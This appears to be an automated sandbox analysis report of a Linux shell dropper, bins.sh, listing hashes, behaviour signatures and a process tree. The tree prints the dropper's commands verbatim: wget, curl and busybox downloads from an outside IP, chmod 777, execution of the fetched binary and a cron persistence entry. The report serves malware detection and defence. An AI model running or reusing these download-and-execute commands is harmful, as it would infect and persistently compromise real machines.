Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240729-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    26/11/2024, 09:46

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    18262d4c826687f41461cf4c4568661b

  • SHA1

    f7050df68970ac968f93be6408d72cb0fc0e92a0

  • SHA256

    91c5f16130fbed4d65bab444c62746216cb6de59e859c33b21c10894f9008af3

  • SHA512

    af0e00f652cbc9864dcf26d491302b8e81b8134d0b4df40b3b09d2aab0caf553444e4bc949d2e05c63ad7bdb5bcc98ee01f5d459662e27d69c2a9ce52c4f0585

  • SSDEEP

    192:3Om8uM+B+V+F+4+g+p7CE4/tvhOm81+B+V+F+4+g+X4:dL0gwP3p7CE8tr0gwP3X4

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:660
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:662
        • /usr/bin/wget
          wget http://216.126.231.240/bins/llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:664
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:688
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:692
        • /bin/chmod
          chmod 777 llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3
          2⤵
          • File and Directory Permissions Modification
          PID:698
        • /tmp/llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3
          ./llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          • System Network Configuration Discovery
          PID:700
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:702
              • /usr/bin/crontab
                crontab -l
                4⤵
                • Reads runtime system information
                PID:703
            • /bin/sh
              sh -c "crontab -"
              3⤵
                PID:705
                • /usr/bin/crontab
                  crontab -
                  4⤵
                  • Creates/modifies Cron job
                  • Reads runtime system information
                  PID:707
            • /bin/rm
              rm llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3
              2⤵
              • System Network Configuration Discovery
              PID:721
            • /usr/bin/wget
              wget http://216.126.231.240/bins/SL9EjEnG3z9rQKMM9J1GiKPKyIGkGIXS1w
              2⤵
                PID:725

            Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • /tmp/llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3

              Filesize

              177KB

              MD5

              786d75a158fe731feca3880f436082c0

              SHA1

              79ea2734e43d00cdeabed5586b2c1994d02aef3e

              SHA256

              5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

              SHA512

              7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

            • /var/spool/cron/crontabs/tmp.onUmGC

              Filesize

              210B

              MD5

              6567fb3e4a7389dbd0256e1bef50a5b7

              SHA1

              a7c11ee2ee7bb34041a7508a17d8fe905ca120d2

              SHA256

              e7e1ce3d587924520106e159b36d7e09d7e9b2c34abe09b02f6cd1d767d5c28f

              SHA512

              edb0ae095977d70f97113c456c3aef4e58874eed15d80d8f163d5eb36474d4c22ea7febe4c12e2eba6525aa6bc00e1a762d8cd7ae388039bdedc6c67ebacaa43